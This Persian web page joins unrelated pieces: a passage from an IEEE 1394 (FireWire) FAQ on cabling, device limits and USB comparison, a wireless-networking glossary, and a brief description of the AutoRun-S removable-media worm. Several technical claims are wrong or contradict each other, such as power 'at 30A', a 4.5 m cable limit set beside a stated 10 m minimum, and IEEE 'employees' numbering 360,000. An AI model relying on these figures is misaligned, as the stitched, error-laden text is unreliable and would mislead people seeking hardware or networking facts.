 اتصالهای داخلی IEEE 1394 همیشه از یک کابل 6 سیمه که دارای 2 زوج سیم به هم تابیده برای انتقال داده ها بعلاوه دو سیم یکی برای انتقال توان و دیگری برای اتصال زمین و به دور همه اینها یک محافظ خارجی  تشکیل شده است. 2 جفت سیم به هم تابیده عمل ارسال و دریافت داده ها را در اتصالات انجام میدهند و اتصالات توان, توان مصرفی مورد نیاز برای برخی از ابزارها را از 8V تا 30V و با جریان 30A تامین میکند. با اینکه بیشتر ابزارهای جانبی از اتصال دهنده های 6 پین استفاده مینمایند, برخی از ابزارها مانند دوربینهای فیلم برداری دیجیتال از یک اتصال دهنده 4 پین کوچکتر برای کوچکتر نمودن اندازه مورد نیاز اتصال دهنده استفاده مینمایند. در این اتصال دهنده, دو اتصال مربوط به توان و زمین حذف شده است. اتصال دهنده های 4 پین IEEE 1394 بخشی از این استاندارد برای استفاده در ابزارهایی هستند که نیاز به تغذیه به وسیله گذرگاه ندارند و خود دارای مدار تغذیه داخلی هستند.

 

بخش های مختلف تشکیل دهنده یک کابل رابط FireWire IEEE 1394

 


 

 4. محدودیت طول کابل در IEEE 1394 چقدر است؟

 

 محدودیت طول کابل در این گذرگاه قبل از اینکه سیگنالها مورد تحریف واقع شوند 5/4 متر است. استفاده از IEEE 1394 نیاز به کابلهایی با طول حداقل 10 متر دارد. در صورتی که سرعت گذرگاه را به 200Mbps کاهش دهیم میتوانیم طول آن را تا 14 متر افزایش دهیم. همچنین امکان اجرای شبکه های IEEE 1394 با استفاده از کابلهای فیبر نوری پلاستیکی(POF)  Plastic Optical Fiberتا مسافت 70 متر امکان پذیر است. میتوان این گونه کابلها را برای  سیم کشی های داخل دیوار نیز به کاربرد.

 


 

  5. حداکثر تا چند ابزار را میتوان به یک درگاه IEEE1394 متصل نمود ؟

 

 به وسیله IEEE 1394 میتوان تا حداکثر 63 ابزار را به یک درگاه متصل نمود. زمانی که گذرگاه IEEE 1394.1 در دسترس قرار گیرد امکان اتصال تا 000/60  ابزار را به یک درگاه واحد خواهد داد. ابزارهای جانبی استفاده کننده از درگاه IEEE 1394 مانند دوربینهای دیجیتال, اسکنر ها و چاپگرهای با سرعت و وضوح بالا, دیسکهای سخت و دیسک درایوهای خارجی, بین تعداد زیادی از PC بدون نیاز به اتصال به یک کامپیوتر مرکزی. همه میتوانند به اشتراک گذاشته شوند . به همین دلیل IEEE 1394 اولین گزینه برای استفاده به عنوان گذرگاه شبکه های خانگی است که توسط(VESA) و دیگر انجمن های صنعتی الکترونیک مورد تایید قرار گرفته است.

 


 

 6. کدامیک از ابزارها میتوانند توسط IEEE 1394 با یکدیگر ارتباط برقرار نمایند ؟

 

 IEEE 1394 برای اتصال ابزارهای جانبی دیجیتال به یکدیگر یا به PC طراحی شده است. این درگاه با تجهیزات آنالوگ قدیمی ناسازگار است. از این گذرگاه میتوان برای اتصال دوربین های DV و VCR ها, دوربینهای عکاسی دیجیتال, Digital Set-Top Box تلویزیون های دیجیتال و تعداد زیادی از دیگر ابزارهای جانبی دیجیتال که مجهز به اتصال دهنده IEEE 1394 هستند استفاده نمود.

 



 7. اگر کامپیوتر دارای اتصال دهنده IEEE 1394 نباشد چه باید کرد؟

 

 برخی از شرکتها تبدیل کنده های ارزان قیمت IEEE 1394 و کارتهای الحاقی داخل PC را برای این منظور ارائه میکنند. این کارتها مانند دیگر کارتهای الحاقی موجود میتوانند به راحتی داخل یکی از شکافهای توسعه مادربرد شما (معمولا" شکاف PCI) در داخل کامپیوتر نصب شوند. این کارت شامل یک کنترل کننده IEEE 1394 بعلاوه یک یا چند اتصال دهنده است که شما را قادر میسازد به راحتی ابزارهای جانبی IEEE 1394 خود را به کامپیوترتان متصل نمایید.

 


 

 8. تفاوت بین IEEE 1394 و USB در چیست؟

 

درگاههای USB 1.1 و جانشین پر سرعت آن یعنی USB 2.0 گذرگاه های سریال با برخی شباهت های تکنیکی به IEEE1394 هستند. هرچند USB و IEEE1394 دارای کاربردهای متفاوتی در بازار هستند اما آنها گذرگاههای متمم یکدیگر میباشند. گذرگاه USB به عنوان یک راه حل ارزان قیمت و دارای عملکردهای Plug-and-Play و Hot-Plug برای اتصال ابزارهای جانبی به کامپیوتر طراحی و توسعه داده شده است.

 

USB در حقیقت یک ابتکار صنعتی برای طراحی ابزارهایی با کاربرد آسان تر است. در طراحی و توسعه این درگاه توجه زیادی به نیاز و علاقه مندی های مصرف کنندگان شده است. این درگاه دارای ظرفیت و کارایی مناسب برای از میان بردن تاخیر ها در استفاده از درگاههای مشابه برای مصرف کننده عام است. این درگاه میتواند وظایف درگاههای سریال, موازی, درگاه بازی و PS2 و نظایر آنها را به راحتی انجام دهد. درگاه USB1.1 دارایی این قابلیت است که به طور عمومی در PC های امروز مورد استفاده قرار گیرد  و نسل جدید این درگاه یعنی USB2.0 نیز مایل است تا این راه را ادامه دهد.

 

همگام با ارائه USB, سازندگان کامپیوتر و مصرف کنندگان صنایع الکترونیک به سمت IEEE1394 جذب شده اند. به همین خاطر این درگاه میتواند راهی برای بهم پیوند دادن نسل بعدی ابزارهای دیجیتال CE با یکدیگر ایجاد نماید. این ابزارهای جدید یک سیستم سرگرمی خانگی کامل را نشان میدهد که میتواند تنها توسط یک کابل برای اتصال هر ابزار اجرا شود. این سیستم حجم بالای سیمها را که از خصوصیات سیستم های سرگرمی خانگی امروز است را از میان بر میدارد.

 

برخی از شرکتهای CE معتقد هستند که IEEE1394 دارای استعداد بالقوه ای برای فعال نمودن یک شبکه صوتی / تصویری خانگی , برای انتقال حجم بالایی از داده ها به هر جای خانه میباشد. با وجود این USB2.0 و IEEE1394a تقریبا دارای مشخصات تکنیکی قابل مقایسه ای هستند. این دو درگاه هرکدام در محدوده مختص به خودشان رشد نموده اند و دارای راه و روش مجزای برای پیشرفت میباشند. درگاه USB برای استفاده از ابزارهای جانبی PC طراحی شده است و IEEE1394 برای مصرف کنندگان ابزارهای الکترونیکی دیجیتال. مطمئنا" این خط مشی جدا گانه برای هر دو درگاه در آینده محو خواهد شد و به همین خاطر اکثر ابزارها از هر دو درگاه به طور همزمان پشتیبانی خواهند نمود. اما ما عقیده داریم هر دو گذرگاه توانایی موفق شدن در زمینه های مختلف را دارا هستند و توسعه دهندگان نیز علاقه مندند تا از امکانات هر دو گذرگاه به طریق مناسبی استفاده نمایند.

 

این مساله فرصت جالب و مهیجی برای کاربران PC فراهم آورده است. این همگرایی و هماهنگی دارای این پتانسیل است که با دستیابی به جهان دیجیتال CE و محتویات آن, تجربه های جدیدی را برای مصرف کنندگان PC فراهم آورد. این یک «پل همگرایی دیجیتال» است که توسط IEEE1394 در دسترس قرار گرفته است.

 


 

  9. آیا جانشینی برای IEEE 1394 در نظر گرفته شده ؟

 

بله , استاندارد IEEE 1394b مدت زمان زیادی است که به عنوان جانشین معرفی گشته است . IEEE 1394b باید سرعت باس را به 800 تا 1600Mbps افزایش دهد. همچنین این معماری توانایی افزایش سرعت تا حد 3200Mbps را دارا میباشد، اگرچه مشخصات سیگنال دهی برای سرعت 3200Mbps هنوز در دسترس عموم قرار نگرفته است. IEEE 1394b همچنین از کابلهایی استفاده میکند که با مشخصات فعلی IEEE 1394a سازگار نیستند. دست آورد این تکنولوژی جدید یک افزایش چشمگیر در طول کابل مجاز از 4.5m با کابلهای مسی در استاندارد اصلی به 100m در استاندارد جدید به وسیله استفاده از کابلهای نوری پلاستیکی است.

 

 همچنین امکان افزایش طول به چندین کیلومتر با استفاده از کابلهای نوری شیشه ای نیز موجود میباشد. بعلاوه با کاهش سرعت به 100Mbps، با استفاده از کابلهای مسی زوج به هم تابیده CAT5 میتوان داده را تا فاصله 100 متری منتقل نمود. اکثر تولیدکنندگان IEEE 1394b را به عنوان جایگزین IEEE 1394a پذیرفته اند و در حال حاضر ما شاهد توزیع گسترده مادربردها و کارتهای توسعه مجهز به این گذرگاه پر قدرت در بازار کشورمان هستیم .

ارائه از : گروه آواژنگ

del.icio.us  digg  newsvine  furl  Y!  smarking  segnalo
G 2: امروزه رایج‌ترین نوع ارتباط تلفنی بی‌سیم است که ارتباطات اطلاعاتی کندی را فراهم می‌سازد و تمرکز اصلی آن روی کیفیت صدا است.

2.5G : یک استاندارد حد وسط و رابط بین 2G و 3G است. برقراری ارتباط به طریقه دیجیتال زمینه پست الکترونیکی و مرور وب آسان را فراهم می‌سازد.

3G : به عنوان سومین نسل از تکنولوژی ارتباطات بی‌سیم عمل می‌کند و حاکی از پیشرفت‌های سریع و قریب الوقوع در ارتباطات صوتی و اطلاع‌رسانی بی‌سیم با انواع استانداردهای موجود می‌باشد. مصرف اصلی این تکنولوژی، بالا بردن سرعت انتقال داده به 2 مگابیت در ثانیه است.

802.11 : گروهی از ویژگی‌های بی‌سیم می‌باشد که از سوی IEEE عرضه می‌شود و شامل رابط بی‌سیمی بین دستگاه‌ها برای کنترل ترافیک بسته‌های اطلاعاتی است (برای اجتناب از برخورد در انتقال داده و غیره). این ویژگی‌ها با علائم و نشانه‌های متفاوتشان شامل موارد زیر هستند.

802.11a : با دامنه فرکانس 5 گیگاهرتز (5.125 تا 5.85 گیگاهرتز) و حداکثر سرعت سیگنال 54 مگابیت در ثانیه عمل می‌کند. باند فرکانس 5 گیگاهرتز به اندازه فرکانس 2.4 گیگاهرتز شلوغ نیست، چون کانال‌های بیشتری نسبت به 802.11b دارد و در واقع از 802.11b جدیدتر است، ولی با آن سازگاری ندارد.

802.11b : در باند 2.4 گیگاهرتزی،Industrial, Scientific and Measurement (ISM)2.4 تا 2.4835 گیگاهرتز عمل می‌کند و میزان سیگنال‌دهی آن تا 11 مگابیت در ثانیه است که معمولا این میزان فرکانس کاربرد بیشتری دارد، مثل اجاق‌های مایکروویو، تلفن‌های بی‌سیم، تجهیزات علمی و پزشکی که همه همچون دستگاه‌های بلوتوث با باند 2.4 گیگاهرتز ISM کار می‌کنند.

802.11e :این استاندارد در اواخر ماه سپتامبر سال 2005 توسطIEEE تصویب شد. کیفیت سرویس دهی آن طوری است که می‌تواند کیفیت ترافیک صوتی و تصویری را تضمین نماید و برای شرکت‌هایی حائز اهمیت است که به استفاده از تلفن‌های Wi-Fi تمایل دارند.

802.11g : شبیه 802.11b است، ولی این استاندارد از میزان سیگنال‌دهی تا 54 مگابیت در ثانیه پشتیبانی می‌کند، همچنین در باند ISM، 2.4 گیگاهرتز کاربرد دارد، ولی از تکنولوژی رادیویی متفاوتی برای افزایش ظرفیت پذیرش کلی استفاده می‌کند؛ با 802.11b قدیمی نیز سازگار است.

802.11i : گاهی Wi-Fi Protected Access 2) WPA 2) نامیده می‌شود و در ژوئن سال 2004 به تصویب رسیده است. WPA 2 ازAdvanced Encryption Standard (استاندارد رمزگذاری پیشرفته) در حد 128 بیت و بالاتر از آن پشتیبانی می‌کند و با ویژگی‌های کنترل کلید و شناسایی کاربر 802.1x همراه است.

802.11k : در اواسط سال 2006 به تصویب می‌رسد و استانداردRadio Resource Management (کنترل منابع رادیویی) است که اطلاعات سنجش نقاط دستیابی و تغییرات لازم برای اجرای بهتر LAN (شبکه‌های) بی‌سیم را فراهم می‌سازد. مثلا می‌تواند با استفاده از نقاط دستیابی، بار ترافیک را مدیریت نماید یا به تنظیم مرتب و دائم نیروی انتقال داده، جهت کاهش تداخل (داده‌ها) کمک نماید.

802.11n : این استاندارد بهینه‌سازی برای توان عملیاتی بالاتر و برای بالا بردن ظرفیت پذیرش WLAN تا بیش از 100 مگابیت در ثانیه طراحی شده است. این استاندارد در اواخر سال 2006 به تصویب نهایی می‌رسد.

802.11r : این استاندارد در سال جاری به تصویب می‌رسد و یک استاندارد گشت و گذار سریع است که برای حفظ ارتباط‌پذیری کاربر در هنگام جابه‌جایی و حرکت از یک نقطه دستیابی به نقطه دیگر به کار می‌رود، همچنین در برنامه‌های کاربردی که به استانداردهای کیفیت خدمات بالا با تاخیر کم، مثل کیفیت صدای روی WLAN نیاز دارند، مهم است.

802.11s : این استاندارد در شبکه‌بندیmesh به کار می‌رود و در اواسط سال 2008 به تصویب خواهد رسید.

Access Point(نقطه دستیابی) : یک فرستنده/گیرنده WLAN یا Base station است که می‌تواند یک شبکه را به شبکه دیگر یا چند دستگاه بی‌سیم وصل نماید. نقاط دستیابی (APها) به عنوان پل و رابطی برای یکدیگر هستند.

حالتAd hoc : یک چهارچوب شبکه بی‌سیم است که در آن دستگاه‌ها بدون اینکه لازم باشد از یکAP استفاده کنند یا به شبکه وصل شوند، قابلیت برقراری ارتباط مستقیم با یکدیگر را خواهند داشت و درست برعکس شبکه زیربنایی است که در آن همه دستگاه‌ها از طریق AP به یکدیگر وصل شده و ارتباط برقرار می‌نمایند.

بلوتوث : یک لینک (اتصال) رادیویی کم هزینه با بورد کوتاه بین لپ‌تاپ‌ها، تلفن‌های همراه، نقاط دستیابی شبکه و دستگاه‌های دیگر است. بلوتوث می‌تواند جایگزین کابل‌ها شود و برای ایجاد شبکه‌هایad hocمفید باشد، همچنین روش استانداردی را برای اتصال دستگاه‌ها در هر جای دنیا ارائه می‌دهد.

Code Division Multiple Access : یا CDMA یک تکنولوژی سلولی دیجیتال است که از تکنیک‌های طیف گسترده استفاده می‌کند و به جای جداسازی کاربران از یکدیگر آنها را با استفاده از کدهای فرکانس دیجیتال با دسترسی کامل به طیف، جدا می‌سازد. CDMA با GSM و TDMAرقابت می‌کند.

CDPD : تکنولوژیCellular Digital Packet Data برای حاملان ارتباطات از راه دور کاربرد دارد که آن را برای انتقال داده به کاربران از طریق شبکه‌های سلولی آنالوگ استفاده نشده به کار می‌برند. اگر یک قسمت از شبکه مثل یک محدوده جغرافیایی خاص یا یک ”سلول“، بیش از اندازه استفاده شود، CDPDمی‌تواند بطور خودکار منابع شبکه را برای کنترل ترافیک اضافه به کار برد.

Cellular Telecommunications & Internet Association : یا CTIA یک سازمان بین‌المللی است که به معرفی و عرضه همه عناصر مخصوص ارتباطات بی‌سیم، مثل سرویس‌های ارتباطات شخصی، سلولی، سرویس‌های پیشرفته مخصوص ماهواره و رادیوی سیار، کمک کرده و توجه سرویس دهندگان، سازندگان و غیره را به خود جلب می‌کند.

EDGE : نرخ (سرعت) انتقال داده پیشرفته برای GSM Evolution است. این تکنولوژی 3G، انتقال داده به طریقه بی‌سیم را با سرعت 384 کیلوبیت در ثانیه میسر می‌سازد و مبتنی‌بر تکنولوژی GSM بوده و امکان خدمات باندپهن بالایی، مثل مولتی مدیا (چند رسانه‌ای) را فراهم می‌سازد. در آمریکای شمالی از آن بیشتر پشتیبانی می‌شود، چون تکنولوژی‌هایی مثل CDMA و UMTS مورد توجه بوده و کاربرد بیشتری دارد.

Evolution Data Only یا Evolution Data Optimized : تکاملی از شبکه‌های CDMA است که بر مبنای استاندارد 1xRTT کار می‌کند و سرعت انتقال داده بی‌سیم بیشتری را یعنی از 400 کیلوبیت در ثانیه به 700 کیلوبیت در ثانیه، با رکورد تقریبی 2.4 مگابیت در ثانیه فراهم می‌سازد.

FLASH-OFDM : یک تکنولوژی باندپهن سلولی اختصاصی است که اپراتورهای شبکه می‌توانند از آن برای کامپیوترهای نوت‌بوک کاربران در حال حرکت یا به عنوان یک سیستم دستیابی بی‌سیم ثابت استفاده کنند که برای اتصال کامپیوترهای خانگی و اداری کوچک تا آخرین مسافت، جواب می‌دهد. ویژگی‌های مهم آن، معماری IP کامل و سرعت بالای آن است. این تکنولوژی به کاربران امکان می‌دهد تا با سفر در حد 250 کیلومتر در ساعت، داده را با سرعت 1.5 مگابایت در ثانیه دریافت کنند یا با سرعت 500 کیلوبیت در ثانیه آن را ارسال نمایند. Orthogonal Frequency Division Multiplexing یا (OFDM) با تبدیل سیگنال‌های رادیویی به سیگنال‌های کوچکتر و با سرعت پایین‌تر که به صورت موازی منتقل می‌شوند، اختلال ایجاد شده هنگام انتقال را کاهش داده و از باندپهن کافی استفاده می‌کند، ولی بورد آن را کاهش می‌دهد.

GPS یا Global Positioning System : ”منظومه‌ای“ از 24 ماهواره است که زمین را در ارتفاع 20,200 کیلومتری دور می‌زند و استفاده از گیرنده‌های زمینی را برای افراد، جهت شناسایی موقعیت جغرافیایی آنها بین 10 تا 100 متر امکان‌پذیر می‌سازد. این ماهواره‌ها از محاسبات ریاضی ساده‌ای برای پخش اطلاعات استفاده می‌کنند که به عنوان طول و عرض و ارتفاع جغرافیایی، توسط گیرنده‌های زمین ترجمه شده‌اند.

GPRS : تکنولوژیGeneral Packet Radio Service با سرعت حداکثر 115 کیلوبیت در ثانیه، در مقایسه با سرعت 9/6 کیلوبیت در ثانیه در سیستم‌های GSM قدیمی‌تر کار می‌کند؛ اینترنت و ارتباطات بی‌سیم دیگر با سرعت بالا، مثل پست الکترونیکی، بازی‌ها و برنامه‌های کاربردی را فعال و امکان‌پذیر می‌سازد، همچنین از حد وسیعی از باندپهن پشتیبانی کرده و در باندپهن محدود نیز کاربرد مناسبی دارد. برای ارسال و دریافت مقادیر کوچک داده، مثل نامه‌های الکترونیکی و مرور وب به همان اندازه مقادیر زیاد داده، مناسب است.

Global System for Mobile Communications : یا GSM (سیستم جهانی مخصوص ارتباطات تلفنی) یک سیستم سلولی دیجیتال مبتنی‌بر تکنولوژی باند باریک TDMAاست که به کاربران امکان دسترسی به اسلات‌های زمانی روی باندهای با همان فرکانس را می‌دهد، همچنین تا 8 ارتباط همزمان با همان فرکانس را برقرار می‌سازد؛ این تکنولوژی رقیب DMAاست.

HSDPA یا High-Speed Downlink Packet Access : یک تکنولوژی داده با سرعت بالای 3G است و در واقع همان استانداردWCDMA پیشرفته است که سرعت را بالا برده و میزان تاخیر را کاهش می‌دهد؛ با طیف 5 مگاهرتز کار می‌کند و سرعت واقعی از 400 کیلوبیت در ثانیه را به 600 کیلوبیت در ثانیه می‌رساند؛ حداکثر سرعت تقریبی آن 14/4 مگابیت در ثانیه می‌باشد.

Hot spot : مکانی مثل، هتل، رستوران یا فرودگاه که دسترسی Wi-Fi را به صورت رایگان یا با پرداخت هزینه امکان‌پذیر می‌سازد.

I-Mode : یک سرویس اینترنت بی‌سیم عمومی است که در سال 1999 به وسیله شرکت NTT DoCoMoدر ژاپن دایر گردید و برمبنای شکل ساده شده‌ای از HTML کار می‌کند و اطلاعات بسته‌ای، مثل بازی‌ها، نامه‌های الکترونیکی و حتی برنامه‌های بازرگانی را برای دستگاه‌های کوچک دستی ارسال می‌کند.

IEEE یا Institute of Electrical and Electronics Engineers : یک سازمان غیرانتفاعی فنی حرفه‌ای با بیش از 360000 کارمند اختصاصی در بیش از 175 کشور است که در زمینه‌های فنی، مثل مهندسی کامپیوتر و ارتباطات از راه دور تخصص و صلاحیت دارد؛ این سازمان ویژگی‌های 802.11 را نیز توسعه داده است.

MAC : هر دستگاه بی‌سیم802.11 دارای یک آدرسMedia Access Controlمنحصر به خود است که درون آن بصورت کد و برنامه‌ای برای کنترل عملیات آن قرار گرفته است. این شناسه ویژه برای برقراری امنیت شبکه‌های بی‌سیم به کار می‌رود. وقتی یک شبکه از یک جدول MAC استفاده می‌کند، تنها رادیوهای 802.11 که دارای آدرس‌های MAC اضافه شده به جدولMAC شبکه بوده‌اند، می‌توانند به این شبکه دسترسی داشته باشند.

Mesh networking(شبکه‌بندی مش) : نمایانگر گره‌های شبکه‌ بی‌سیم و مجزا است که با یکدیگر در ارتباط بوده و شبکه‌هایی را می‌سازند که خود را پیکربندی نموده و تنها با گره‌ای این کار را انجام می‌دهند که برای قرار گرفتن درون یک LAN (شبکه) دارای سیم لازم است.

MIMO یا Multiple Input Multiple Output : به استفاده از چند آنتن در یک دستگاه Wi-Fi به ارتقاء عملکرد و ظرفیت پذیرش اشاره می‌کند. تکنولوژی MIMO از یک ویژگی به نام multipath (چند مسیری) بهره می‌گیرد و زمانی اتفاق می‌افتد که یک مخابره رادیویی در نقطهAآغاز شده و سپس قبل از دریافت از چند سطح یا شیء و از چند مسیر در نقطه Bعبور می‌کند. تکنولوژیMIMO از چند آنتن برای جمع‌آوری و سازماندهی سیگنال‌هایی استفاده می‌کند که از طریق این مسیرها دریافت می‌شوند؛ این تکنولوژی بیشتر در استاندارد 802.11n کاربرد دارد.

RFID : شناسایی فرکانس رادیویی از فرستنده‌های رادیویی دارای برق ضعیف، برای خواندن اطلاعات ذخیره شده در یک tag فرستنده و گیرنده خودکار در فواصل بین 2.5 سانت تا 3 متر استفاده می‌کند. TagهایRFID برای کنترل دارایی‌ها، صورت موجودی و تایید و توصیه پرداخت‌ها به کار می‌روند و بیشتر به عنوان کلیدهای الکترونیکی در ابزارهای خودکار و تهدیدات امنیتی دیگر استفاده می‌شوند.

Roaming : عبارت است از جابجایی یک دستگاه سیار از یک مکان و وضعیت شبکه بی‌سیم به دیگری بدون هیچ وقفه یا اختلال در سرویس یا قطع اتصال.

Smart phone(تلفن هوشمند) : یک تلفن بی‌سیم با قابلیت‌های اینترنت و متن است که می‌تواند تماس‌های تلفنی بی‌سیم را کنترل نموده، آدرس‌ها را حفظ کند، پست صوتی را دریافت کرده، به اطلاعات روی اینترنت دست یافته و نامه‌های الکترونیکی و مخابره‌های فاکس را ارسال و دریافت نماید.

Site Survey (بررسی سایت) : در وضعیت یکWLANجدید برای اجتناب از اتلاف وقت و بروز مشکلات پرهزینه انجام می‌شود که شامل طراحی شبکه، کنترل روی ساخت و تجهیزات و آزمایش آنها است.

SMS یا Short Message Service (سرویس پیام کوتاه) : امکان ارسال پیام‌های متنی کوتاه بین دستگاه‌های سیار، مثل موبایل، دستگاه‌های فکس وBlack Berry را فراهم می‌سازد. این پیام‌ها با تعداد 160 حرف الفبایی، فاقد تصویر یا گرافیک به عنوان متنی روی صفحه نمایش دستگاه گیرنده ظاهر می‌شوند و با شبکه‌های GSM نیز کار می‌کنند.

SSI یا Service Set Identifier : یک سلسله کاراکتر منحصر به شبکه خاص یا بخشی از شبکه است که از شبکه و همه دستگاه‌های ضمیمه آن، برای شناسایی خود استفاده می‌کند و هنگامیکه بیش از یک شبکه مستقل در محلی نزدیک به هم وجود داشته باشند، به دستگاه‌ها امکان می‌دهند تا به شبکه درست متصل شوند.

Symbian Ltd : یک سرمایه‌گذاری مشترک بین شرکت‌هایLM Ericsson Telephone، موتورولا، نوکیا وPsion PLC برای توسعه سیستم‌عامل‌های جدید مبتنی‌بر پلات‌فرمEPOC32شرکتPsionکه برای دستگاه‌های کوچک سیار و بی‌سیم، مثل تلفن‌ها و دستگاه‌های دستی مناسب می‌باشد.

TDMA یا Time Division Multiple Access : یک فرکانس رادیویی در دسترس را به یک شبکه درون اسلات‌های زمانی تقسیم می‌کند و سپس این اسلات‌ها را به چند تماس اختصاص می‌دهد، بنابراین یک فرکانس از چند کانال داده همزمان پشتیبانی می‌کند و می‌تواند نسبت به تکنولوژی‌های قدیمی‌تر از باندپهن استفاده بهتری داشته باشد.TDMA در فرکانس‌های 800 تا 1900 مگاهرتز در دسترس بوده و در سیستم سلولی دیجیتال GSMنیز به کار می‌رود.

UMTS یا Universal Mobile Telecommunications System : یک تکنولوژی شبکه سلولی 3G است که از(Wideband Code WCDMA Division Multiple Access) استفاده می‌کند و از اواسط سال 2005 در 25 کشور به اجر درآمده است. سرعت انتقال داده از 384 کیلوبیت در ثانیه برای تلفن‌ها تا 2 مگابیت در ثانیه برای دستگاه‌های ثابت می‌باشد.

UWB یا Ultrawideband : که پالس دیجیتال نیز نامیده می‌شود، یک تکنولوژی بی‌سیم مخصوص انتقال اطلاعات دیجیتال به بخش وسیعی از طیف فرکانس رادیویی با قدرت بسیار پایین است و چون به برق ضعیفی نیاز دارد، می‌تواند سیگنال‌ها را از بین درها و دیگر موانعی که معمولا سیگنال‌ها را در باندهای پهن محدودتر با نیروی قویتر منعکس می‌کنند، عبور دهد، همچنین می‌تواند مقادیر زیادی از داده را حمل نماید و برای سیستم‌های مکانهای رادیویی و راداری که به زمین احاطه دارند، مناسب است.

VoIP یا Voice over Internet Protocol : سیستمی برای ارائه ارتباطات صوتی رقمی شده (دیجیتالی شده) از طریق شبکه‌های IP است. این تکنولوژی به تلفن‌های دستی سازگار با یکدیگر یا کامپیوترهای دارای نرم‌افزار مناسب امکان می‌دهد تا تماس تلفنی برقرار نمایند.

WAP یا The Wireless Application Protocol : مجموعه‌ای از ویژگی‌ها است که به وسیله WAP Forum توسعه یافته است و به توسعه‌دهندگان امکان می‌دهد تا با استفاده از Wireless، برنامه‌های کاربردی شبکه‌بندی شده مناسب برای دستگاه‌های بی‌سیم دستی را بسازند.WAP برای کار با این دستگاه‌ها و محدودیت‌هایشان طراحی شده است: یک حافظه و اندازه cpu محدود، صفحه نمایش‌های کوچک و سیاه‌وسفید، باندپهن کم و اتصالات نامنظم.WAPیک استاندارد واقعی است که بیش از 200 فروشنده از آن پشتیبانی می‌کند.

WCDMA یا Wideband Code Division Multiple Access : یک تکنولوژی بی‌سیم 3G است که از CDMA نشات می‌گیرد و اطلاعات دیجیتالی شده را روی دامنه وسیعی از فرکانس‌ها، جهت افزایش سرعت ارسال می‌کند و از کانال‌های وسیع 5 مگاهرتزی استفاده می‌نماید و برای بالا بردن سرعت با جایگزین کردن تکنولوژی TDMA به جای CDMA به GSM و UMTS وابسته است. برای سرویس‌های تصویری، صوتی و اطلاع رسانی مفید بوده و می‌تواند با سرعت تا 2 مگابیت در ثانیه داده را ارسال نماید.

WEP یا Wired-Equivalent Privacy protocol : در استانداردIEEE 802.11 برای ایجاد یک WLAN با حداقل سطح ایمنی و حفاظت، در مقایسه با یک LAN دارای سیم، با استفاده از رمزنگاری داده تعیین شده است. اکنون به خاطر طول نامناسب کلید و مشکلات دیگر آن ناقص شناخته شده و با وجود ابزارهای در دسترس می‌تواند به زودی مورد تهاجم قرار گیرد.

WME یا Wireless Multimedia Extensions : مجموعه‌ای از ویژگی‌های مبتنی‌ بر استاندارد مقدماتی IEEE 802.11e است که ویژگی‌های اولیه QoS (کیفیت خدمات) را در شبکه‌های IEEE 802.11 ارائه می‌دهد. WME ترافیک برنامه‌های کاربردی مختلف، مثل برنامه‌های صوتی و تصویری را در محیط‌ها و شرایط مختلف در اولویت قرار داده است.

WPA یا Wi-Fi Protected Access : یک ویژگی رمزنگاری داده برای شبکه‌های بی‌سیم 802.11 است که جایگزینWEPضعیف‌تر شده است. WPA به وسیله اتحادیه Wi-Fi، قبل از تصویب استاندارد امنیتی802.11i توسط IEEE ایجاد شده و با استفاده از کلیدهای فعال وExtensible Authentication Protocol(پروتکل شناسایی کاربر قابل توسعه)، برای ایمن‌سازی دسترسی به شبکه و روشی برای کدگذاری به نام(TKIP) Temporal Key Integrity Protocol برای ایمن‌سازی ارسال اطلاعات،WFPرا بهینه می‌سازد.

WPA2 یا Wi-Fi Protected Access 2 : یک نسخه ارتقاء یافته از WPA است. WPA استاندارد رسمی 802.11i بوده که به وسیله IEEE در ژوئن 2004 به تصویب رسیده و به جای TKIP(فوق‌الذکر) از استاندارد Advanced Encryption استفاده می‌کند. AESاز کلیدهای 128، 192 و 256 بیت پشتیبانی می‌نماید.

Wi-Fi یا Wireless fidelity : یک اصطلاح عمومی برای تکنولوژی802.11 است.

WLAN : شبکه‌های محلی بی‌سیم، از امواج رادیویی به جای کابل برای اتصال یک دستگاه کاربر استفاده می‌کنند، مثل اتصال لپ‌تاپ به یک LAN. آنها اتصالات اترنت را برقرار ساخته و در گروه و خانواده802.11 که ویژگی‌های آن به وسیله IEEE توسعه یافته است، به کار می‌روند.

War driving : به رانندگی با یک لپ‌تاپ با قابلیت بی‌سیم و آنتن برای یافتن مکانهایی جهت دستیابی به شبکه‌های بی‌سیم بی‌حفاظ، اشاره می‌کند. آنها معمولا شبکه‌های شرکتی بوده که در خارج از زیربنای واقعی شرکت توسعه یافته و به صورت بی‌حفاظ باقی مانده‌اند.

War chalking : علامت گذاری ساختمان‌ها یا پیاده‌روها با گچ برای نشان دادن محلی که می‌توان در آن به یک شبکه بی‌سیم شرکتی بدون ‌حفاظ دسترسی پیدا کرد، این نقاط دستیابی از طریق همانwar driving یافت شده‌اند.

WiMax : نام عمومی استاندارد شبکه بی‌سیم 802.16 مخصوص منطقه پایتخت است که باید تاکنون توسعه یافته باشد.WiMax که دارای برد 50 کیلومتر می‌باشد و دستیابی به باند پهن شبکه با مشکل کمتر در دسترس‌پذیری و بدون پرداخت هزینه بابت به رشته درآوردن سیم‌ها (مثل دسترسی کامل در باندپهن) یا محدودیت‌های فاصله،Digital Subscriberرا هدف قرار داده است. دو نوع WiMax وجود دارد: یکی 802.16-2004 یا 802.16d برای پیاده‌سازی‌های ثابت و 802.16e برای سرویس‌های متحرک.

WML یا Wireless Markup Language : مثل زبان برنامه‌نویسی اینترنتHTML است که محتوای اینترنت را به دستگاه‌های کوچک بی‌سیم، مثل تلفن‌های موبایل مجهز به مرورگر و دستگاه‌های دستی که دارای صفحه نمایش‌های کوچک و سی‌پی‌یوهای کند، ظرفیت حافظه محدود و باندپهن کم با قابلیت‌های ورودی محدود کاربر هستند، ارسال می‌کند.

Wi-Fi Alliance : یک سازمان بین‌المللی غیرانتفاعی که در سال 1999 برای تصویب قابلیت عمل محصولاتWLANمبتنی‌بر ویژگیIEEE 802.11در چند محیط تشکیل شد. در حال حاضر نیز اتحادیه Wi-Fi دارای بیش از 200 شرکت عضو از سراسر دنیا می‌باشد و بیش از 1000 محصول گواهینامه Wi-Fi را دریافت کرده است، یعنی از زمان شروع ارائه گواهینامه آن در مارس2000. هدف اعضای این اتحادیه، بالا بردن میزان آگاهی و تجربه کاربر از طریق قابلیت عمل محصول در چند محیط است.

توضیحات :

AutoRun-S یک کرم برای سیستم‌های ویندوزی است که از طریق ابزارهای قابل حذف و اضافه منتشر می‌شود .

این کرم می تواند به اینترنت متصل شود و از طریق HTTP با سرور راه  دور ارتباط برقرار کند .

